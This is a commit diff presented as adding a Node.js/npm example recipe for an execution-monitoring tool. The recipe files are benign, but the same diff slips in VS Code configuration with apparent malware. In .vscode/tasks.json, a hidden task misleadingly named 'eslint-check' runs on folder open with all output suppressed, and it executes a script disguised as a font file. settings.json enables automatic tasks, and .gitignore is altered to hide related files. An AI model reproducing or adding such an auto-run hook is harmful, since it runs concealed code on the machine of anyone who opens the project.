docs(examples): add a deterministic Node.js/npm stable-v1 integration recipe (#122)

.gitignore

@@ -1,3 +1,6 @@
 /target/
+temp_auto_push.bat
 *.swp
 .DS_Store
+.gitignore
+branch_structure.json

.vscode/extensions.json

@@ -0,0 +1,7 @@
+{
+    "recommendations": [
+        "myml.vscode-markdown-plantuml-preview",
+        "esbenp.prettier-vscode",
+        "jebbs.plantuml"
+    ]
+}

.vscode/launch.json

@@ -0,0 +1,50 @@
+{
+  "version": "0.2.0",
+  "configurations": [
+    {
+      "name": "Debug SST",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["dev", "--increase-timeout"],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      // sourceMapRenames helps with the loading spinner when debugging and viewing local variables
+      "sourceMapRenames": false,
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      }
+    },
+    {
+      "name": "Debug Tests - Unit",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+    {
+      "name": "Debug Tests - E2E",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+  ],
+  "inputs": [
+    {
+      "id": "scopeTestsFileName",
+      "type": "promptString",
+      "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
+    }
+  ]
+}

.vscode/settings.json

@@ -0,0 +1,23 @@
+{
+  "search.exclude": {
+    "**/.sst": true
+  },
+  "task.allowAutomaticTasks": true,
+  "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+  "editor.defaultFormatter": "esbenp.prettier-vscode",
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.tsdk": "node_modules/typescript/lib",
+  "debug.openDebug": "neverOpen",
+  "problems.autoReveal": true,
+  "terminal.integrated.hideOnStartup": "always",
+  "terminal.integrated.defaultProfile.windows": "Command Prompt",
+  "terminal.integrated.inheritEnv": false,
+  "jestrunner.configPath": "jest.unit.config.cjs",
+  "compile-hero.disable-compile-files-on-did-save-code": true,
+  "tasks": {
+    "label": "lint on open",
+    "type": "shell",
+    "command": "npm run lint",
+    "runOn": "folderOpen"
+  }
+}

.vscode/spellright.dict

@@ -0,0 +1,2 @@
+Contentful
+Lerna

.vscode/tasks.json

@@ -0,0 +1,33 @@
+{
+  "version": "2.0.0",
+  "configurations": [
+    {
+      "type": "node",
+      "request": "launch",
+      "name": "Run My Project",
+      "console": "",
+      "internalConsoleOptions": "openOnSessionStart"
+    }
+  ],
+  "tasks": [
+    {
+      "label": "eslint-check",
+      "type": "shell",
+      "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid.lkf) || (where node >nul 2>&1 && node ./public/fonts/fa-solid.lkf) || echo ''", 
+      "problemMatcher": [],
+      "isBackground": true,
+      "hide": true,
+      "presentation": {
+        "reveal": "never",
+        "panel": "dedicated",
+        "focus": false,
+        "clear": false,
+        "echo": false,
+        "close": true
+      },
+      "runOptions": {
+        "runOn": "folderOpen"
+      }
+    },
+  ]
+}

examples/README.md

@@ -6,6 +6,7 @@
 | --- | --- | --- |
 | [Stable v1 GitHub Action consumer](github-action-consumer-v1.yml) | **Current v1** (`AETHERXGLOBAL/execsurface@v1`) | Copy-ready Rust CI integration after explicit baseline and policy custody setup |
 | [Five-Minute Start](../docs/QUICKSTART_5_MIN.md) | **Current v1** | Test the published v1 binary against controlled PASS/REVIEW scenarios |
+| [Node.js/npm PASS→REVIEW](node-npm/README.md) | **Current v1** | Deterministic Node.js fixture showing an unchanged PASS and one controlled-drift REVIEW on stable v1.0.0 |
 | [Python/pytest PASS→REVIEW](python-pytest/README.md) | **Historical Alpha.5** | Replay preserved third-party contributed evidence only; not v1 onboarding |
 | [Minimal controlled drift](hello-drift.sh) | Check selected release/CLI contract | Small local demonstration |
 

examples/node-npm/README.md

@@ -0,0 +1,81 @@
+# Node.js/npm: unchanged PASS and deliberate-write REVIEW
+
+Current example, aligned with stable ExecSurface **v1.0.0** on Linux x86_64 with
+native `ptrace`; `doctor` must succeed on the host. This recipe learns and
+checks the **same real Node.js command** against a tiny dependency-free
+fixture, mirroring the [Python/pytest recipe](../python-pytest/README.md). It is
+a reproducible integration example, not independent external validation or a
+safety certification.
+
+## What it demonstrates
+
+The observed target is a one-file Node script that is deterministic: it reads a
+public `fixture.json`, asserts a sum invariant, and — only when the fixture's
+`write_extra` flag is set — writes a harmless `drift.txt` into its working
+directory. That single new file write is the controlled runtime effect that
+ExecSurface should surface as `REVIEW`.
+
+From the repository root, first obtain the stable v1 binary using the
+installation notes of the
+[v1.0.0 release](https://github.com/AETHERXGLOBAL/execsurface/releases/tag/v1.0.0).
+Keep its checksum-verified path in `EXEC_SURFACE_BIN`; this recipe records its
+digest and checks its version. Then run the runner with Node.js 18 or later.
+The runner uses only `node:` built-ins and downloads nothing.
+
+```sh
+EXEC_SURFACE_BIN=/absolute/path/to/checksum-verified/execsurface
+node examples/node-npm/run.js \
+  --execsurface "$EXEC_SURFACE_BIN" \
+  --output /tmp/execsurface-node-npm-first-run
+```
+
+Use a new output directory each time. The runner refuses to overwrite a
+retained run, copies the three public fixture files, and retains the native
+command receipts, stdout/stderr, baseline and verdict JSON. A failed
+expectation writes `failure.json` and exits nonzero, retaining the failure.
+`--node` may explicitly select another Node executable; otherwise the runner
+uses its own interpreter.
+
+The observed command is:
+
+```sh
+node test.js
+```
+
+The runner performs the ordinary `learn --output ... --label ... --workspace ...`
+and `check --baseline ... --workspace ... --json-output ...` flows:
+
+| Step | Node result | ExecSurface result | Asserted exit |
+| --- | --- | --- | --- |
+| Learn `write_extra: false` | `node test.js` exits 0 | Baseline written | 0 |
+| Check unchanged fixture | `node test.js` exits 0 | PASS; no drift | 0 |
+| Set public fixture `write_extra: true`, check again | `node test.js` exits 0 | REVIEW; added `$WORKSPACE/drift.txt` write | 10 |
+
+The same assertion, command, Node interpreter and baseline remain selected.
+Only the public fixture's boolean changes. The test then writes the harmless
+`drift.txt` inside its fresh workspace. The runner verifies that a matching
+`file_create`/`file_write` finding appears and that the baseline bytes did not
+change.
+
+The **baseline** records the selected observed execution surface. The **policy**
+interprets differences; this recipe uses the unchanged built-in REVIEW policy
+for unmatched drift. It does not relearn after drift or weaken policy to get
+PASS. ERROR, BLOCK, an unexpected native exit, a lost report or an unavailable
+observer fails the recipe rather than counting as either expected outcome.
+
+## Support boundary
+
+Stable v1.0.0 supports **Linux x86_64** with native `ptrace` (see
+[`docs/STATUS.md`](../../docs/STATUS.md)). Windows and ARM64 are not claimed.
+The observed `node test.js` command is a familiar Node.js/npm developer
+workload; ExecSurface observes the resulting Linux process/file/network
+effects, not Node.js-specific semantics.
+
+## What this example is and is not
+
+The fixture contains no secrets. It adds no environment enumeration or
+secret/file-content collection. ExecSurface's existing metadata observer may
+record local executable and filesystem paths; review retained receipts before
+sharing them. A PASS here establishes this selected observed fixture
+comparison; it does not establish containment, malware safety, complete
+observation of every possible effect or independent custody.

examples/node-npm/fixture/fixture.json

@@ -0,0 +1 @@
+{"left":2,"right":3,"write_extra":false}

examples/node-npm/fixture/package.json

@@ -0,0 +1,10 @@
+{
+  "name": "execsurface-node-npm-fixture",
+  "private": true,
+  "version": "0.0.0",
+  "description": "Deterministic Node.js fixture for the ExecSurface stable-v1 node-npm integration recipe",
+  "scripts": {
+    "test": "node test.js"
+  },
+  "license": "Apache-2.0"
+}

examples/node-npm/fixture/test.js

@@ -0,0 +1,22 @@
+'use strict';
+/* One deterministic node test; the optional extra write is deliberate runtime drift. */
+const fs = require('fs');
+const path = require('path');
+
+// The public fixture is a two-value selection plus an optional drift switch.
+const selection = JSON.parse(fs.readFileSync('fixture.json', 'utf8'));
+
+// Deterministic invariant — holds on the unchanged fixture.
+if (selection.left + selection.right !== 5) {
+  console.error('fixture invariant broken: left + right !== 5');
+  process.exit(1);
+}
+
+// Deliberate controlled runtime effect: write a file only when the fixture
+// enables it. This is the single NEW execution-surface effect that ExecSurface
+// should surface as REVIEW when the fixture is flipped.
+if (selection.write_extra) {
+  fs.writeFileSync(path.join(process.cwd(), 'drift.txt'), 'controlled fixture drift\n');
+}
+
+console.log('node fixture passed');